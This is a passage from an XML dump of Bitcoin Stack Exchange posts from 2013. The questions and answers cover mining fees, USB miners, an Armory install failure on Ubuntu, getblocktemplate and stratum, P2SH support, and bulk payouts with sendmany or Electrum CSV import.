hanging.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6799" LastEditorUserId="11694" LastEditDate="2014-01-12T10:59:17.153" LastActivityDate="2014-01-12T10:59:17.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13419" PostTypeId="1" CreationDate="2013-09-20T22:12:07.583" Score="1" ViewCount="849" Body="&lt;p&gt;I can see a trend coming where miners will likely hold the network &quot;hostage&quot; by mining blocks with no transactions in them... even when the block reward nears zero. This would leave transactions in the perpetual pending state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I suspect this will happen is so that miners will need to cover the expense of hardware that will never be recuperated otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This scenario can also happen if the value of BTC drops to a very low value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to understand the variables that would cause a miner, a mining pool, or anything that would cause them to demand a transaction fee in order to accept the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What ratios, statistics, or variables are useful in tracking what the miners will demand the transaction fee to be?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some ideas would likely include&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Quantity of transactions -vs- fee paid  (the higher the fee, the fewer transactions will be conducted... supply/demand)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Network difficulty &quot;beta&quot;  (a beta is a Finance term discussing rate-of-change)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Blocks that accept no-fee-transactions vs blocks without&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Transaction delay time (before being included in a block)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;average miner investment in hardware&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-01-20T20:25:37.937" LastActivityDate="2016-01-20T20:25:37.937" Title="Will ASIC miners hold the network &quot;hostage&quot; and demand a fee for their services?" Tags="|transaction-fees|risk-mitigation|mining-profitability|mining-theory|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13420" PostTypeId="1" AcceptedAnswerId="13421" CreationDate="2013-09-21T00:20:41.787" Score="1" ViewCount="368" Body="&lt;p&gt;I'm thinking on buying a USB bit coin miner. And searching in amazon I found these two products, that I think that are the same but I'm not sure because one it's 15$ more cheap than the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The products are:&#xA;- &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B00CUJT7TO&quot; rel=&quot;nofollow&quot;&gt;USB Miner 1&lt;/a&gt;&#xA;- &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B00E7AAJIM&quot; rel=&quot;nofollow&quot;&gt;USB Miner 2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what's the difference?&lt;/p&gt;&#xA;" OwnerUserId="6822" LastEditorUserId="5406" LastEditDate="2016-04-28T13:26:11.107" LastActivityDate="2016-04-28T13:26:11.107" Title="What's the difference between these two usb miners?" Tags="|mining-hardware|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13421" PostTypeId="2" ParentId="13420" CreationDate="2013-09-21T04:05:14.590" Score="2" Body="&lt;p&gt;According to the specs, there is no difference between the hardware -- they have the same hash rate (330 MHz) and use the same amount of power (2.5 W), so they should be interchangeable. It is possible that there are software compatibility issues, but this is unlikely. The machines are likely identical, so there may be other reasons for the difference in price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value of pretty much anything related to bitcoin is volatile right now, including mining equipment, so it's reasonable to see fluctuations in prices like this based on the whims of individual sellers that don't reflect a broad trend across the market. Consider this: the seller with the higher prices also advertises a very limited stock. It's possible that both sellers started out at with same price, and while one decided to start selling off a large quantity at a discounted rate, the other decided to stick to the original price and just sell off all they have left. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, since there's probably no real difference -- just buy the cheaper one.&lt;/p&gt;&#xA;" OwnerUserId="6388" LastEditorUserId="6388" LastEditDate="2013-10-12T21:31:06.437" LastActivityDate="2013-10-12T21:31:06.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13422" PostTypeId="1" CreationDate="2013-09-21T05:06:42.750" Score="0" ViewCount="1595" Body="&lt;p&gt;i'm trying to install armory on ubuntu 12.04 but it is not working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo dpkg -i armory_0.88.1-beta_i386.deb&#xA;Selecting previously unselected package armory:i386.&#xA;(Reading database ... 222699 files and directories currently installed.)&#xA;Unpacking armory:i386 (from armory_0.88.1-beta_i386.deb) ...&#xA;dpkg: dependency problems prevent configuration of armory:i386:&#xA; armory:i386 depends on python-qt4.&#xA; armory:i386 depends on python-twisted.&#xA; armory:i386 depends on python-psutil.&#xA;dpkg: error processing armory:i386 (--install):&#xA; dependency problems - leaving unconfigured&#xA;Processing triggers for bamfdaemon ...&#xA;Rebuilding /usr/share/applications/bamf.index...&#xA;Processing triggers for desktop-file-utils ...&#xA;Processing triggers for gnome-menus ...&#xA;Errors were encountered while processing:&#xA; armory:i386&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it looked like i needed to install packages &lt;code&gt;python-qt4&lt;/code&gt;, &lt;code&gt;python-twisted&lt;/code&gt; and &lt;code&gt;python-psutil&lt;/code&gt; so i did this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo apt-get install python-qt4 python-twisted python-psutil&#xA;Reading package lists... Done&#xA;Building dependency tree       &#xA;Reading state information... Done&#xA;You might want to run 'apt-get -f install' to correct these:&#xA;The following packages have unmet dependencies:&#xA; armory:i386 : Depends: python-qt4:i386 but it is not going to be installed&#xA;               Depends: python-twisted:i386 but it is not installable&#xA;               Depends: python-psutil:i386 but it is not going to be installed&#xA; python-qt4 : Depends: libqtassistantclient4 (&amp;gt;= 4.6.3) but it is not going to be installed&#xA;              Depends: sip-api-8.1&#xA; python-twisted : Depends: python-twisted-conch (&amp;gt;= 1:11.0) but it is not going to be installed&#xA;                  Depends: python-twisted-mail (&amp;gt;= 11.0) but it is not going to be installed&#xA;                  Depends: python-twisted-lore (&amp;gt;= 11.0) but it is not going to be installed&#xA;                  Depends: python-twisted-news (&amp;gt;= 11.0) but it is not going to be installed&#xA;                  Depends: python-twisted-runner (&amp;gt;= 11.0) but it is not going to be installed&#xA;                  Depends: python-twisted-words (&amp;gt;= 11.0) but it is not going to be installed&#xA;E: Unmet dependencies. Try 'apt-get -f install' with no packages (or specify a solution).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for some reason they did not want to install so i did this: (was this a bad move?)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo apt-get -f install&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and after &lt;a href=&quot;http://pastebin.com/WbDPnB0t&quot; rel=&quot;nofollow noreferrer&quot;&gt;a massive amount of output&lt;/a&gt; in which it looked like many packages were removed??? nothing happened. armory still won't run and now i think i have screwed up some other valid packages since i have a lot of empty links with question marks on my unity bar. even the &lt;code&gt;vim&lt;/code&gt; configuration file seems to have been altered!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(i should also mention that i recently upgraded from ubuntu 10.04 to 12.04 and that &lt;a href=&quot;https://askubuntu.com/questions/346032/cant-install-bitcoind-in-upgraded-system-due-package-conflicts&quot;&gt;may not have gone too smoothly&lt;/a&gt; for bitcoind)&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="-1" LastEditDate="2017-04-13T12:23:01.473" LastActivityDate="2013-09-22T11:24:22.373" Title="ubuntu 12.04 armory install failed" Tags="|ubuntu|armory|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13423" PostTypeId="2" ParentId="13419" CreationDate="2013-09-21T08:33:49.967" Score="2" Body="&lt;p&gt;The 'race to the bottom' is still continuing in the mining market and hopefully will continue. If any of the miners tweaks transcation inclusion like you suggest that would make them less competitive in this market.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The miners have pretty much no power to enforce transcation fees while the market is functioning as intended, so your question is somewhat moot. &#xA;If the miners do hold the network hostage that would be a sign that a cartel has formed and the mining/fee market has broken down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that happens it may well be that the users and developers will augment the protocol such that the miners are once more 'held hostage' by market forces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difficulty evolution is often described as 'difficulty follows price', this does not model the cheapening of the hardware but otherwise describes the market forces pretty well (by assuming that block rewards and fees won't change rapidly).&lt;/p&gt;&#xA;" OwnerUserId="5837" LastActivityDate="2013-09-21T08:33:49.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13425" PostTypeId="1" AcceptedAnswerId="13426" CreationDate="2013-09-21T18:00:05.913" Score="3" ViewCount="842" Body="&lt;p&gt;I'm trying to understand how the whole process flows. Here's how I currently understand it working.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Mining client -&gt; Pool server -&gt; Bitcoind&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;getwork&lt;/code&gt;:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Mining client calls &lt;code&gt;getwork&lt;/code&gt; from Pool server, and it in turn calls &lt;code&gt;getwork&lt;/code&gt; (or something else?) from Bitcoind. &lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;stratum&lt;/code&gt;:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Mining client ingages the Pool server using the stratum protocol, and the Pool server calls &lt;code&gt;getwork&lt;/code&gt; (or something else?) from&#xA;  Bitcoind.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;getblocktemplate&lt;/code&gt;:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Mining client calls &lt;code&gt;getblocktemplate&lt;/code&gt;, and the Pool server calls &lt;code&gt;getblocktemplate&lt;/code&gt; from Bitcoind.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And I understand that the pool server does more than just relay information, but I wanted to keep it simple. I just want to get a grasp of how it all flows together, and what calls it makes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="6786" LastActivityDate="2013-09-21T21:16:03.730" Title="Do pool servers communicate with bitcoind, and in what capacity?" Tags="|bitcoind|mining-pools|getwork|stratum|getblocktemplate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13426" PostTypeId="2" ParentId="13425" CreationDate="2013-09-21T21:16:03.730" Score="6" Body="&lt;p&gt;&lt;code&gt;getwork&lt;/code&gt; is for all intents, completely deprecated due to it's inefficiency. At this point a single ASIC device can completely swamp a &lt;code&gt;bitcoind&lt;/code&gt; with requests as they're able to exhaust the 32bit nonce in a fraction of a second. The situation is severe enough that pools like BTC Guild have extraordinary large (6%+) fees on clients using &lt;code&gt;getwork&lt;/code&gt; in order to get them to switch to more efficient methods. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Internally, pools like &lt;a href=&quot;https://gitorious.org/bitcoin/eloipool/&quot;&gt;Eloipool&lt;/a&gt; use &lt;code&gt;getblocktemplate&lt;/code&gt; to generate work for the clients, and then use &lt;code&gt;stratum&lt;/code&gt; or &lt;code&gt;getblocktemplate&lt;/code&gt; to communicate with the workers depending on the request type they make. &lt;code&gt;getwork&lt;/code&gt; is not involved at any stage. In fact, it's currently &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/2905&quot;&gt;pegged for complete removal&lt;/a&gt; at some point. &lt;/p&gt;&#xA;" OwnerUserId="6454" LastActivityDate="2013-09-21T21:16:03.730" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13427" PostTypeId="2" ParentId="12035" CreationDate="2013-09-21T21:40:11.640" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I am building a Bitcoin IPN to poll bitcoind every 5 minutes&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Investivate -blocknotify, which will turn your system from pull to push. Any command given to &lt;code&gt;blocknotify&lt;/code&gt; will be executed when a new block is encountered, and you can use this to update your internal systems with the newly confirmed data. &lt;/p&gt;&#xA;" OwnerUserId="6454" LastActivityDate="2013-09-21T21:40:11.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13428" PostTypeId="2" ParentId="13387" CreationDate="2013-09-21T21:50:34.350" Score="1" Body="&lt;p&gt;Yes, all transactions to and from blockchain.info wallets will be recorded in the blockchain.  blockchain.info does not control their customers' private keys, making it impossible for them to perform offchain transactions.  In contrast, Coinbase uses internal accounting for transfers between Coinbase accounts. &lt;/p&gt;&#xA;" OwnerUserId="3067" LastActivityDate="2013-09-21T21:50:34.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13429" PostTypeId="2" ParentId="11191" CreationDate="2013-09-21T23:35:39.363" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://electrum.org/&quot; rel=&quot;nofollow&quot;&gt;Electrum&lt;/a&gt; is perfectly happy running through either standard HTTP ports (443 and 80) or through a SOCKS proxy like &lt;a href=&quot;https://torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Tor&lt;/a&gt;. Both options are viewable under the server settings in the main panel, and both will help you break through a restrictive firewall. &lt;/p&gt;&#xA;" OwnerUserId="6454" LastActivityDate="2013-09-21T23:35:39.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13431" PostTypeId="2" ParentId="13414" CreationDate="2013-09-22T08:38:21.277" Score="4" Body="&lt;p&gt;No, this attack is not possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The chosen branch is the one representing the highest total difficulty, not the highest number of blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless the attacker has more hashrate than the honest network combined, he will not be able to find a chain with higher total difficulty, even if in its chain the number of blocks is higher.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-09-22T08:38:21.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13433" PostTypeId="1" CreationDate="2013-09-22T11:47:24.213" Score="0" ViewCount="672" Body="&lt;p&gt;&lt;strong&gt;Can Base58Check encoding be used to encode a Version 4 UUID?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be handy for the same reasons as encoding Bitcoin public keys in &lt;em&gt;Base58Check&lt;/em&gt; instead of &lt;em&gt;Base64&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read the Bitcoin wiki pages on &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding&quot; rel=&quot;nofollow&quot;&gt;address encoding&lt;/a&gt; and the &lt;a href=&quot;https://en.bitcoin.it/wiki/List_of_address_prefixes&quot; rel=&quot;nofollow&quot;&gt;list of address prefixes&lt;/a&gt;, but it isn't clear whether &lt;em&gt;Base58Check&lt;/em&gt; encoding can be used reliably for &lt;a href=&quot;http://en.wikipedia.org/wiki/Universally_unique_identifier#Version_4_.28random.29&quot; rel=&quot;nofollow&quot;&gt;version 4 UUIDs&lt;/a&gt; without reserving a prefix somehow. For example, &lt;strong&gt;&lt;code&gt;U&lt;/code&gt;&lt;/strong&gt; for UUID.&lt;/p&gt;&#xA;" OwnerUserId="6679" LastActivityDate="2013-09-22T22:17:32.073" Title="Base58Check encoding: Using for Version 4 UUID?" Tags="|base58check|encoding|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13434" PostTypeId="1" CreationDate="2013-09-22T16:13:38.057" Score="2" ViewCount="244" Body="&lt;p&gt;I want to create a Bitcoin client on App Engine with equivalent protocol functionality to bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the new Sockets API available in &lt;a href=&quot;https://developers.google.com/appengine/docs/python/sockets/&quot; rel=&quot;nofollow&quot;&gt;Python&lt;/a&gt; and &lt;a href=&quot;https://developers.google.com/appengine/docs/java/sockets/&quot; rel=&quot;nofollow&quot;&gt;Java&lt;/a&gt; I believe this would &lt;em&gt;almost&lt;/em&gt; be possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only hurdle I see is that other clients would not be able to broadcast their new transactions to the App Engine client as the Sockets API does not support listen sockets. The App Engine client would have to continually poll other clients to check for new transactions and blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any more App Engine limitations which would get in the way of creating a client with identical protocol functionality to the bitcoind standard client?&lt;/p&gt;&#xA;" OwnerUserId="6707" LastActivityDate="2013-09-22T16:13:38.057" Title="What limitations are there to creating a Bitcoin client on Google App Engine?" Tags="|client|bitcoind|development|bitcoin-core|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13435" PostTypeId="2" ParentId="13433" CreationDate="2013-09-22T22:17:32.073" Score="1" Body="&lt;p&gt;Nothing is preventing any sort of data from using &lt;code&gt;Base58Check&lt;/code&gt; encoding, but I'm not sure why you would want to. There's already a multitude of 'altcoins' using a variety of address prefixes though, so you might run into issues should one of them become a real-world success. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In reality, I'd just avoid having users typing a UUID-type string at all, then you don't need to worry about having the typing friendly characters and checksum. &lt;/p&gt;&#xA;" OwnerUserId="6454" LastActivityDate="2013-09-22T22:17:32.073" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13438" PostTypeId="1" CreationDate="2013-09-23T02:50:27.393" Score="1" ViewCount="1180" Body="&lt;p&gt;After reading through most of the protocol, and trying to piece everything together, I'm still at a loss as to how some things work. For example, the difference between &lt;code&gt;coinbaseaux.flags&lt;/code&gt; and &lt;code&gt;coinbasetxn.data&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;code&gt;coinbasetxn.data&lt;/code&gt; it makes sense, because it's already built, and we can use that data to modify the coinbase data if needed and then add to transactions for merkle root. The &lt;code&gt;coinbaseaux.flags&lt;/code&gt; data on the other hand doesn't make much sense to me. I couldn't find any mention of the &lt;code&gt;flags&lt;/code&gt; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below are 2 transactions - one using coinbaseaux and the other coinbasetxn. If anyone could explain how coinbaseaux can be used to build the coinbase transaction, or if it's for something else, that'd be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;result&quot;:{&#xA;        &quot;version&quot;:2,&#xA;        &quot;previousblockhash&quot;:&quot;00000000000000075f2f454573766ffae69fe41d6c7ccfcabbf8588fcd80ed52&quot;,&#xA;        &quot;transactions&quot;:[&#xA;                  {     &#xA;                        &quot;data&quot;:&quot;0100000001cba672d0bfdbcc441d171ef0723a191bf050932c6f8adc8a05b0cac2d1eb022f010000006c493046022100a23472410d8fd7eabf5c739bdbee5b6151ff31e10d5cb2b52abeebd5e9c06977022100c2cdde5c632eaaa1029dff2640158aaf9aab73fa021ed4a48b52b33ba416351801210212ee0e9c79a72d88db7af3fed18ae2b7ca48eaed995d9293ae0f94967a70cdf6ffffffff02905f0100000000001976a91482db4e03886ee1225fefaac3ee4f6738eb50df9188ac00f8a093000000001976a914c94f5142dd7e35f5645735788d0fe1343baf146288ac00000000&quot;,&#xA;                        &quot;hash&quot;:&quot;7c90a5087ac4d5b9361d47655812c89b4ad0dee6ecd5e08814d00ce7385aa317&quot;,&#xA;                        &quot;depends&quot;:[],&#xA;                        &quot;fee&quot;:10000,&#xA;                        &quot;sigops&quot;:2&#xA;                  },&#xA;                  ...&#xA;            ],&#xA;        &quot;coinbaseaux&quot;:{&#xA;            &quot;flags&quot;:&quot;062f503253482f&quot;&#xA;        },&#xA;        &quot;coinbasevalue&quot;:2501100000,&#xA;        &quot;target&quot;:&quot;0000000000000026222200000000000000000000000000000000000000000000&quot;,&#xA;        &quot;mintime&quot;:1379549850,&#xA;        &quot;mutable&quot;:[&#xA;            &quot;time&quot;,&#xA;            &quot;transactions&quot;,&#xA;            &quot;prevblock&quot;&#xA;        ],&#xA;        &quot;noncerange&quot;:&quot;00000000ffffffff&quot;,&#xA;        &quot;sigoplimit&quot;:20000,&#xA;        &quot;sizelimit&quot;:1000000,&#xA;        &quot;curtime&quot;:1379553872,&#xA;        &quot;bits&quot;:&quot;19262222&quot;,&#xA;        &quot;height&quot;:258736&#xA;    },&#xA;    &quot;error&quot;:null,&#xA;    &quot;id&quot;:&quot;curltest&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;VS.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA; &quot;error&quot;: null,&#xA; &quot;result&quot;: {&#xA;   &quot;coinbasetxn&quot;: {&#xA;     &quot;data&quot;: &quot;0100000001000000000000000000000000000000000000000000000000000000&#xA;0000000000ffffffff1302955d0f00456c6967697573005047dc66085fffffffff02fff1052a01&#xA;0000001976a9144ebeb1cd26d6227635828d60d3e0ed7d0da248fb88ac01000000000000001976&#xA;a9147c866aee1fa2f3b3d5effad576df3dbf1f07475588ac00000000&quot;&#xA;   },&#xA;   &quot;previousblockhash&quot;: &quot;000000004d424dec1c660a68456b8271d09628a80cc62583e5904f5894a2483c&quot;,&#xA;   &quot;transactions&quot;: [],&#xA;   &quot;expires&quot;: 120,&#xA;   &quot;target&quot;: &quot;00000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff&quot;,&#xA;   &quot;longpollid&quot;: &quot;some gibberish&quot;,&#xA;   &quot;height&quot;: 23957,&#xA;   &quot;version&quot;: 2,&#xA;   &quot;curtime&quot;: 1346886758,&#xA;   &quot;mutable&quot;: [&quot;coinbase/append&quot;],&#xA;   &quot;bits&quot;: &quot;ffff001d&quot;&#xA; },&#xA; &quot;id&quot;: 0&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6786" LastEditorUserId="5406" LastEditDate="2016-04-24T08:53:50.853" LastActivityDate="2016-04-24T08:53:50.853" Title="Difference between coinbaseaux.flags vs. coinbasetxn.data?" Tags="|hash|mining-technical-details|coinbase-transaction|getblocktemplate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13439" PostTypeId="2" ParentId="11563" CreationDate="2013-09-23T05:46:42.973" Score="3" Body="&lt;p&gt;Sending to P2SH addresses (addresses starting with '3') seems to be directly supported by only Bitcoin-Qt/bitcoind and Electrum at the moment. EWallets using those clients might allow sending to P2SH addresses. It's not directly supported by BitcoinJ, so BitcoinJ-based clients like MultiBit and Bitcoin Wallet for Android probably won't support it until BitcoinJ does. It's also not directly supported by blockchain.info or Armory. Some clients allow you to create raw transactions, which could be used to send to P2SH addresses manually.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2013-09-23T05:46:42.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13440" PostTypeId="1" AcceptedAnswerId="13465" CreationDate="2013-09-23T16:28:19.520" Score="3" ViewCount="924" Body="&lt;p&gt;Is it not possible for users to simply sign &quot;send transaction&quot; messages into the blockchain with a value field and an address field, and have the validators do the work of looking through the blockchain and adding up all of the send transactions to validate that the coins actually exist? I am hypothetically assuming coinbase transactions still exist and simply list outputs to recipient addresses, thus crediting these addresses with new coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is a transaction id simply a tool to help achieve scalability? Why do transactions have to reference previous inputs? &lt;/p&gt;&#xA;" OwnerUserId="6024" LastActivityDate="2013-09-25T10:05:24.307" Title="Is the process of indexing transactions by assigning a transaction id necessary, or is it a scalability issue?" Tags="|transactions|blockchain|scalability|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13442" PostTypeId="1" AcceptedAnswerId="13443" CreationDate="2013-09-23T22:16:46.933" Score="6" ViewCount="5705" Body="&lt;p&gt;Let's say it's pay day--I've accumulated a lot of bitcoins, and sent them all to a single address. I now want to pay a lot of addresses from this &quot;pool&quot; of coins, say anywhere between 100 and 10,000 addresses. What is the best way to do this in a way I can use with PHP, and with which client would be the best fit? I'm currently familiar with bitcoind and electrum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problems I see happening is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If I make them one after another, I would have to wait for a confirmation between each each transaction.&lt;/li&gt;&#xA;&lt;li&gt;If I somehow send them all in one transaction, I would need to a) mess with raw transactions, and b) possibly hit a limit on the transaction size.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do this without using raw transactions? And how do I check to see how many addresses I can send to at once without hitting the max transaction size? If I DO have to deal with raw transactions, is there any library in PHP that helps me build them easily?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="6288" LastActivityDate="2015-11-04T10:12:33.307" Title="How to do mass payouts in my application to multiple addresses at once, or very quickly?" Tags="|transactions|bitcoind|electrum|raw-transaction|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13443" PostTypeId="2" ParentId="13442" CreationDate="2013-09-23T23:13:36.753" Score="3" Body="&lt;p&gt;At least when you're using bitcoind, the best solution is using the &lt;code&gt;sendmany&lt;/code&gt; RPC call, which allows you to create a &lt;strong&gt;single&lt;/strong&gt; transaction that does many payouts. The transaction will be much smaller (in bytes) than the many single-payment transactions you had in mind (over 6 times, for 100 outputs), resulting in lower fees in total for the same effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, even if you'd use separate transactions for each (though I advise against that), there is no need to wait for confirmations between the different transactions, as the implementation allows sending 0-confirms transactions if they're from yourself.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-09-23T23:13:36.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13447" PostTypeId="1" CreationDate="2013-09-24T08:34:58.473" Score="0" ViewCount="1211" Body="&lt;p&gt;For instance here: &lt;a href=&quot;http://bitcoinwatch.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinwatch.com/&lt;/a&gt; one exchange lists the BTC-USD rate at 133, while the other one lists at 122.&lt;/p&gt;&#xA;" OwnerUserId="6855" LastActivityDate="2013-09-24T09:38:21.190" Title="Why are the BTC exchange rates different from website to website" Tags="|exchange-rate|" AnswerCount="1" CommentCount="1" ClosedDate="2013-09-28T21:13:47.117" ContentLicense="CC BY-SA 3.0" />
  <row Id="13448" PostTypeId="2" ParentId="13442" CreationDate="2013-09-24T08:53:13.717" Score="4" Body="&lt;p&gt;In Electrum you can use the CSV import feature to make bulk payments. It can accept either a CSV file or CSV entered into a text box. The rough format is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ADDRESS, 0.12345&#xA;ADDRESS, 0.12314&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This feature has been merged into the 1.9 version that is not released yet, but you can use it already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/spesmilo/electrum/pull/282&quot; rel=&quot;nofollow&quot;&gt;https://github.com/spesmilo/electrum/pull/282&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1PkeTTctdh2CvhW3fQLs93PWP9qupWV68X, 5&#xA;3NujXLC3LxNsmk2wr69CLBuXGfhXeenUyu, 5&#xA;1CNAnSb7d1XCA4AXBH2gip3mi8dNTQxzeo, 1&#xA;1LSBFJ1An9orRMU6Bz3NS1y3jr1eH9AexE, 1&#xA;16qRyDVZVpptJb4HZzv5rWkjqtJWVRjDep, 1&#xA;1PkeTTctdh2CvhW3fQLs93PWP9qupWV68X, 5&#xA;1Nnad832Zyob64wGbju49CC5RFbACAfCNZ, 1&#xA;1J2gFYBnf8K2wHJDndgr3iN1nPoZumHXap, 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The amount is in the unit your Electrum is configured. In my case, for example, it is in mBTC. Be careful with this!&lt;/p&gt;&#xA;" OwnerUserId="2467" LastEditorUserId="1761" LastEditDate="2015-11-04T10:12:33.307" LastActivityDate="2015-11-04T10:12:33.307" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
